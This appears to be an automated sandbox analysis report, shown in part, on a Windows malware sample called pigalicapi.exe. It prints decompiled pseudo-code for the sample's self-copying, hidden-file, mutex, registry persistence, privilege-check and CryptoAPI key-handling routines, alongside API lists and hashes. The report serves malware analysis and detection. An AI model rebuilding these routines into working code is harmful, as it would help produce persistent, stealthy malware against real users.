						_t177 = _t177 + 0x18;
						if((_t104 & 0x000000ff) != 0) {
							_v12101 = 1;
						} else {
							_t106 = E04004020(_v9560, _v12072,  &_v1148, 3, 0xa, 1); // executed
							_t177 = _t177 + 0x18;
							if((_t106 & 0x000000ff) != 0) {
								_v12101 = 1;
							} else {
								_v12116 = 0;
								_v12112 = E040042E0( &_v12116);
								_t110 = E04004020(_v12116, _v12112,  &_v1148, 1, 0x17, 0);
								_t177 = _t177 + 0x1c;
								if((_t110 & 0x000000ff) != 0) {
									_v12101 = 1;
								}
								if(_v12116 != 0) {
									VirtualFree(_v12116, 0, 0x8000);
								}
							}
						}
					}
					if((_v12101 & 0x000000ff) != 0) {
						if( *0x40118a4 != 1) {
							if( *0x40118a4 == 2) {
								 *0x40118a4 = 1;
								_v12108 = 0x1499700;
							}
						} else {
							if( *0x40130e4 != 2) {
								_v12108 = 0x1499700;
							} else {
								_v12108 = 0x3e8;
								 *0x40118a4 = 2;
							}
						}
					}
					Sleep(_v12108); // executed
					goto L17;
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\pigalicapi.exe,00000208), ref: 04003B2D
SetUnhandledExceptionFilter.KERNEL32(04005DB0), ref: 04003B38
CoInitialize.OLE32(00000000), ref: 04003B40

Part of subcall function 04004510: GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
Part of subcall function 04004510: CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
Part of subcall function 04004510: GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
Part of subcall function 04004510: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
Part of subcall function 04004510: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
Part of subcall function 04004510: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E
Part of subcall function 04004510: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
Part of subcall function 04004510: CloseHandle.KERNEL32(00000000), ref: 040047E0

ExitProcess.KERNEL32 ref: 0400400C

Part of subcall function 04005700: GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742
Part of subcall function 04005700: lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
Part of subcall function 04005700: GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
Part of subcall function 04005700: wnsprintfA.SHLWAPI ref: 0400582F
Part of subcall function 04005700: CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
Part of subcall function 04005700: GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D

Part of subcall function 04005A00: lstrcpyA.KERNEL32(Sscculmqcxgnq,WDefault), ref: 04005A47
Part of subcall function 04005A00: lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
Part of subcall function 04005A00: lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005AA1
Part of subcall function 04005A00: lstrlenA.KERNEL32(Sscculmqcxgnq), ref: 04005AAE
Part of subcall function 04005A00: lstrcatA.KERNEL32(00000000,Sscculmqcxgnq), ref: 04005AC8
Part of subcall function 04005A00: RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
Part of subcall function 04005A00: RegCloseKey.KERNEL32(00000000), ref: 04005B0E
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005B3B

Part of subcall function 04009400: lstrcpyA.KERNEL32(?,00000000), ref: 04009513
Part of subcall function 04009400: CharUpperA.USER32(?), ref: 04009521

Part of subcall function 040099F0: GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
Part of subcall function 040099F0: OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
Part of subcall function 040099F0: CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
Part of subcall function 040099F0: EqualSid.ADVAPI32(?,00000000), ref: 04009AC3

Part of subcall function 04006060: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 04006082

Part of subcall function 04005E00: CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
Part of subcall function 04005E00: GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

StrStrIA.SHLWAPI(C:\Users\user\pigalicapi.exe,svchost.exe), ref: 04003BFA

Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 04001148
Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 0400115A
Part of subcall function 04001120: GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182
Part of subcall function 04001120: wnsprintfA.SHLWAPI ref: 040011BD
Part of subcall function 04001120: lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
Part of subcall function 04001120: CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
Part of subcall function 04001120: SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000104,?), ref: 04001210
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000000,?), ref: 04001249
Part of subcall function 04001120: lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
Part of subcall function 04001120: CreateThread.KERNEL32 ref: 04001274

Part of subcall function 04005E30: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
Part of subcall function 04005E30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
Part of subcall function 04005E30: RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
Part of subcall function 04005E30: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
Part of subcall function 04005E30: RegCloseKey.KERNEL32(00000000), ref: 04005F19

Part of subcall function 04006CF0: RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
Part of subcall function 04006CF0: RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
Part of subcall function 04006CF0: RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
Part of subcall function 04006CF0: RegCloseKey.ADVAPI32(00000000), ref: 04006D88

Part of subcall function 04005F30: lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
Part of subcall function 04005F30: lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
Part of subcall function 04005F30: RegOpenKeyExA.ADVAPI32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
Part of subcall function 04005F30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
Part of subcall function 04005F30: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
Part of subcall function 04005F30: RegCloseKey.ADVAPI32(00000000), ref: 04006045

WSAStartup.WS2_32(00000202,?), ref: 04003C85

Part of subcall function 04004020: InitializeCriticalSection.KERNEL32(?), ref: 04004066
Part of subcall function 04004020: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
Part of subcall function 04004020: EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
Part of subcall function 04004020: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
Part of subcall function 04004020: TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
Part of subcall function 04004020: ResetEvent.KERNEL32(00000000), ref: 040040F7
Part of subcall function 04004020: LeaveCriticalSection.KERNEL32(?), ref: 04004101
Part of subcall function 04004020: CreateThread.KERNEL32 ref: 04004118

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04003F70
Sleep.KERNEL32(?), ref: 04003FF4

Strings

Kobucgekyxca, xrefs: 04003BAF, 04003BBE
pigalicapi, xrefs: 04003C20
C:\Users\user\pigalicapi.exe, xrefs: 04003B26, 04003BF5, 04003C25
R+g, xrefs: 04003D7F
svchost.exe, xrefs: 04003BF0

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$Createlstrcpy$Value$Closelstrlen$ModuleNameOpenVirtual$CriticalFreeProcessQuerySectionThreadToken$DeleteDirectoryEventInformationInitializeProfileSizeUserslstrcatwnsprintf$AllocAttributesChangeCharCopyCurrentEnterEqualErrorExceptionExitFilterFindHandleKnownLastLeaveMutexNotificationReadResetSleepStartupTerminateUnhandledUpperWelllstrcmpi
String ID: C:\Users\user\pigalicapi.exe$Kobucgekyxca$R+g$pigalicapi$svchost.exe
API String ID: 1389186475-3751886320
Opcode ID: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction ID: 63648f9aec36bb26e753af5ac432a688f143a616cbd4529da37374c18a699aed
Opcode Fuzzy Hash: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction Fuzzy Hash: 7EC11AB0944364AAF725DF64AC19BFA77B0AB04709F0480FDE6487A1E1DB7C6A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008800 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 113
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E04008800(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				signed int _v24;
				signed int _v28;
				long* _v32;
				char* _t41;
				int _t42;
				signed int _t43;
				intOrPtr _t46;
				int _t49;
				int _t51;
				char* _t71;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L19:
					return _v8;
				} else {
					_v12 = 0;
					_t41 =  *0x4013370; // 0x400c6e4
					_t42 = CryptAcquireContextA( &_v12, _t41, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t42 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t71 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t71, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v28 = 0x80;
						_v20 = 0;
						_v24 = _v28 << 0x00000010 | 0x00000001;
						_t43 = _v24;
						__imp__CryptGenKey(_v12, 0x6801, _t43,  &_v20);
						if(_t43 != 0) {
							_t46 = _a4;
							__imp__CryptExportKey(_v20, 0, 8, 0, _t46, _a8);
							if(_t46 != 0) {
								if(_a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
									_v8 = 1;
								} else {
									_v32 = 0;
									_t49 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v32); // executed
									if(_t49 != 0) {
										_t51 = _v20;
										__imp__CryptExportKey(_t51, _v32, 1, 0, _a12, _a16); // executed
										_v8 = _t51;
										CryptDestroyKey(_v32);
									}
								}
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L19;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
GetLastError.KERNEL32 ref: 04008845
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
CryptDestroyKey.ADVAPI32(?), ref: 04008937
CryptDestroyKey.ADVAPI32(00000000), ref: 0400894A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008956

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400882C
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008864

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyExport$ErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3052018297-947817771
Opcode ID: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction ID: e62ef6a9a3e861f5d7bfaf583d60d4f1649157d47df97182d85979e93aebb629
Opcode Fuzzy Hash: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction Fuzzy Hash: E641E972A00209EBFB54EF94C849BAE77B9FB44705F14C518F615B61C0C7B9AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04008BB0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E04008BB0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, int _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				int _v24;
				char _v28;
				int _v32;
				char* _t36;
				int _t37;
				intOrPtr _t39;
				char* _t41;
				intOrPtr _t43;
				char* _t57;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L17:
					return _v8;
				} else {
					_v12 = 0;
					_t36 =  *0x4013370; // 0x400c6e4
					_t37 = CryptAcquireContextA( &_v12, _t36, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t37 == 0) {
						_t37 = GetLastError();
						_v16 = _t37;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t57 =  *0x4013370; // 0x400c6e4
							_t37 = CryptAcquireContextA( &_v12, _t57, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t37 != 0) {
							_t39 = _a8;
							__imp__CryptHashData(_v20, _a4, _t39, 0);
							if(_t39 != 0) {
								_v24 = 0;
								_v28 = 4;
								_t41 =  &_v28;
								__imp__CryptGetHashParam(_v20, 4,  &_v24, _t41, 0);
								if(_t41 != 0 && _a16 >= _v24) {
									_v32 = _a16;
									_t43 = _a12;
									__imp__CryptGetHashParam(_v20, 2, _t43,  &_v32, 0);
									if(_t43 != 0) {
										_v8 = _v32;
									}
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L17;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
GetLastError.KERNEL32 ref: 04008C09
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008BF0
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008C28

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 731959895-947817771
Opcode ID: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction ID: 7e4f484856ccd150e5ceb993e2d8e8a423e5286abb412a2c571c9cca470c08b6
Opcode Fuzzy Hash: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction Fuzzy Hash: 4E41C772A50209ABEB14DF94C849FAFB7B9FB44705F14C529A601B61C0D7B8AA84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04008A70 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 97
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008A70(BYTE* _a4, DWORD* _a8, BYTE* _a12, int _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				long* _v24;
				char* _t35;
				int _t36;
				int _t38;
				int _t43;
				char* _t62;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
					L16:
					return _v8;
				} else {
					_v12 = 0;
					_t35 =  *0x4013370; // 0x400c6e4
					_t36 = CryptAcquireContextA( &_v12, _t35, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t36 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t62 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t62, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						_t38 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v20); // executed
						if(_t38 != 0) {
							_v24 = 0;
							_t43 = CryptImportKey(_v12, _a12, _a16, _v20, 1,  &_v24); // executed
							if(_t43 != 0) {
								_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
								CryptDestroyKey(_v24);
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L16;
				}
			}

0x04008a76
0x04008a81
0x04008ba3
0x04008ba9
0x04008ab9
0x04008ab9
0x04008ac9
0x04008ad3
0x04008adb
0x04008ae3
0x04008aed
0x04008b01
0x04008b0c
0x04008b0c
0x04008aed
0x04008b16
0x04008b1c
0x04008b37
0x04008b3f
0x04008b41
0x04008b5e
0x04008b66
0x04008b80
0x04008b87
0x04008b87
0x04008b91
0x04008b91
0x04008b9d
0x04008b9d
0x00000000
0x04008b16

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
GetLastError.KERNEL32 ref: 04008ADD
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AC4
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AFC

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyImport$DecryptErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 1555285084-947817771
Opcode ID: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction ID: 912f8c379191964defa89f3bac9fc05279983c51f6e5ced775be03f2308b6df6
Opcode Fuzzy Hash: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction Fuzzy Hash: 5A31CDB5A04209EBFB58DF94D849BEE77B8FB48705F14C518F601B62C0C7B8A984CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10001030 Relevance: 18.4, APIs: 12, Instructions: 362libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(10004054,10004040), ref: 10001047
GetProcAddress.KERNEL32(00000000), ref: 1000104E

Part of subcall function 10001B30: SetLastError.KERNEL32(0000000D,?,10001070,?,00000040), ref: 10001B3D

SetLastError.KERNEL32(000000C1), ref: 10001096

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction ID: de8a46b343c4f85be80e433d7a8ef3539ae306dd3111f157e8541b0b80b52991
Opcode Fuzzy Hash: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction Fuzzy Hash: 44F1C3B4A01209EFEB04CF94C990A9EB7B5FF48384F208598E915AB395D735EE41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 04004880 Relevance: 18.1, APIs: 12, Instructions: 146encryptionCOMMON

Download Yara Rule

APIs

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07
CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 04004A34
CryptDestroyHash.ADVAPI32(?), ref: 04004A7D
CryptDestroyHash.ADVAPI32(00000000), ref: 04004A8A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04004AA5

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Destroy$CreateDataParam$ContextDecryptDeriveRelease
String ID:
API String ID: 2727466597-0
Opcode ID: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction ID: 825b94236ad970d67c54706e51f03fb1cf2707309f33405f466b5fd67a115f37
Opcode Fuzzy Hash: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction Fuzzy Hash: E251FD71A54318ABEB65CF50CC45FEA77BCAB48B04F008598F609B61C0DB79AB84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04008970 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E04008970(intOrPtr _a4, intOrPtr* _a8, BYTE* _a12, int _a16) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				char* _t27;
				int _t28;
				int _t33;
				char* _t47;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L12:
					return _v8;
				} else {
					_v12 = 0;
					_t27 =  *0x4013370; // 0x400c6e4
					_t28 = CryptAcquireContextA( &_v12, _t27, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t28 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t47 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t47, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						if(CryptImportKey(_v12, _a12, _a16, 0, 1,  &_v20) != 0) {
							_t33 = _v20;
							__imp__CryptEncrypt(_t33, 0, 1, 0, _a4, _a8,  *_a8);
							_v8 = _t33;
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L12;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
GetLastError.KERNEL32 ref: 040089C9
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089E8
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089B0

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Context$Acquire$DestroyEncryptErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3736710109-947817771
Opcode ID: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction ID: 073036156a227ab269f6199982c6e62e9abf2561c3e32999b52b046b74d0c6c6
Opcode Fuzzy Hash: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction Fuzzy Hash: D231FD75A40208EFFB54DFA4C849BAE77B9FB44701F14C658F605B62C0D7B8AA80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04009F70 Relevance: 1.6, APIs: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E04009F70(intOrPtr _a4, signed int _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* _v32;
				intOrPtr* _t59;
				intOrPtr _t64;
				void* _t99;
				void* _t100;

				_v8 = 1;
				if(_a4 != 0) {
					_t103 = _a8 - 5;
					if(_a8 > 5) {
						asm("cdq");
						_t59 = E040097A0( ~(0 | _t103 > 0x00000000) | _a8 / 0x00000006 * 0x00000288); // executed
						_t100 = _t99 + 4;
						_v28 = _t59;
						_v12 = _v28;
						if(_v12 != 0) {
							_v16 = _v12;
